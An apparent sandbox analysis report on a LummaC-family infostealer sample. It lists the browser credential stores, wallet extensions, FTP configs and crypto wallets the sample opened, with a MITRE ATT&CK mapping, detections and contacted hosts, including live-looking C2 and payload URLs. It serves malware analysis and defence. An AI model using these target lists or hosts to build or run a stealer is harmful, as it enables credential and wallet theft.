Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior

Source: Yara match	File source: 00000001.00000003.1471938676.0000000000B6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7804, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7804, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Masquerading	2 OS Credential Dumping	761 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	35 Virtualization/Sandbox Evasion	LSASS Memory	35 Virtualization/Sandbox Evasion	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	45%	ReversingLabs	Win32.Trojan.Symmi
file.exe	55%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
https://property-imper.sbs/apiBo	0%	Avira URL Cloud	safe
https://property-imper.sbs/J/z	0%	Avira URL Cloud	safe
https://property-imper.sbs/apiiw	0%	Avira URL Cloud	safe
https://property-imper.sbs//	0%	Avira URL Cloud	safe
http://crl.micro8	0%	Avira URL Cloud	safe
https://property-imper.sbs//	2%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
property-imper.sbs	172.67.162.84	true	false	high
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://property-imper.sbs/api	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_133.8.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000001.00000003.1386903755.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387284219.00000000057E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387080103.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000001.00000003.1386903755.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387284219.00000000057E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387080103.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.marriott.com/default.mi?utm_source=admarketplace&utm_medium=cpc&utm_campaign=Marriott_Pr	file.exe, 00000001.00000003.1468290914.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_133.8.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_113.8.dr, chromecache_125.8.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000001.00000003.1386903755.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387284219.00000000057E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387080103.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_133.8.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_113.8.dr, chromecache_125.8.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_113.8.dr, chromecache_125.8.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_125.8.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_113.8.dr, chromecache_125.8.dr	false		high
https://contile-images.services.mozilla.com/5b4DH7KHAf2n_mNaLjNi1-UAoKmM9rhqaA9w7FyznHo.10943.jpg	file.exe, 00000001.00000003.1468290914.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_133.8.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_113.8.dr, chromecache_125.8.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700	file.exe, 00000001.00000003.1468290914.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_133.8.dr	false		high
https://property-imper.sbs/apiiw	file.exe, 00000001.00000003.1468317163.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000001.00000003.1444762763.00000000057E2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000001.00000003.1444762763.00000000057E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_113.8.dr, chromecache_125.8.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqrfQHr4pbW4ZbWfpbY7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000001.00000003.1468290914.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/feedback/report?space=61	chromecache_133.8.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000001.00000003.1386903755.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387284219.00000000057E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387080103.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/J/z	file.exe, 00000001.00000003.1472386695.0000000000B99000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1468290914.0000000000B98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1492199573.0000000000B99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/off/def.exes	file.exe, 00000001.00000002.1730648035.0000000000B15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1646578503.0000000000B62000.00000004.00000020.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_113.8.dr, chromecache_125.8.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_113.8.dr, chromecache_125.8.dr	false		high
https://github.com/gewarren	chromecache_133.8.dr	false		high
http://185.215.113.16/off/def.exepleWebKit/537.36	file.exe, 00000001.00000002.1730486808.00000000008FA000.00000004.00000010.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700002.1&cta	file.exe, 00000001.00000003.1468290914.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000001.00000003.1446273528.00000000058DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_113.8.dr, chromecache_125.8.dr	false		high
http://crl.micro8	file.exe, 00000001.00000003.1551322569.0000000000B54000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_133.8.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_133.8.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_113.8.dr, chromecache_125.8.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_113.8.dr, chromecache_125.8.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_113.8.dr, chromecache_125.8.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000001.00000003.1386903755.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387284219.00000000057E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387080103.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_133.8.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_113.8.dr, chromecache_125.8.dr	false		high
https://aka.ms/certhelp	chromecache_113.8.dr, chromecache_125.8.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000001.00000002.1730648035.0000000000B15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1646578503.0000000000B62000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000001.00000003.1386903755.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387284219.00000000057E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387080103.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000001.00000003.1444762763.00000000057E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_133.8.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15e498ec2b39921665a1fbc954bff40a8106629178eadc64	file.exe, 00000001.00000003.1468290914.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000001.00000003.1444762763.00000000057E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_125.8.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_113.8.dr, chromecache_125.8.dr	false		high
https://property-imper.sbs//	file.exe, 00000001.00000003.1419909115.0000000005826000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000001.00000003.1386903755.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387284219.00000000057E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387080103.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000001.00000003.1446273528.00000000058DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_133.8.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000001.00000003.1386903755.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387284219.00000000057E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387080103.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_133.8.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_113.8.dr, chromecache_125.8.dr	false		high
https://github.com/adegeo	chromecache_133.8.dr	false		high
https://property-imper.sbs/apiBo	file.exe, 00000001.00000003.1468317163.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000001.00000003.1468290914.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_113.8.dr, chromecache_125.8.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000001.00000003.1444762763.00000000057E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_113.8.dr, chromecache_125.8.dr	false		high
https://github.com/js-cookie/js-cookie	chromecache_113.8.dr, chromecache_125.8.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000001.00000002.1730648035.0000000000B15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1646578503.0000000000B62000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_133.8.dr	false		high
https://channel9.msdn.com/	chromecache_113.8.dr, chromecache_125.8.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000001.00000003.1386903755.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387284219.00000000057E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1387080103.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_113.8.dr, chromecache_125.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
172.67.162.84	property-imper.sbs	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
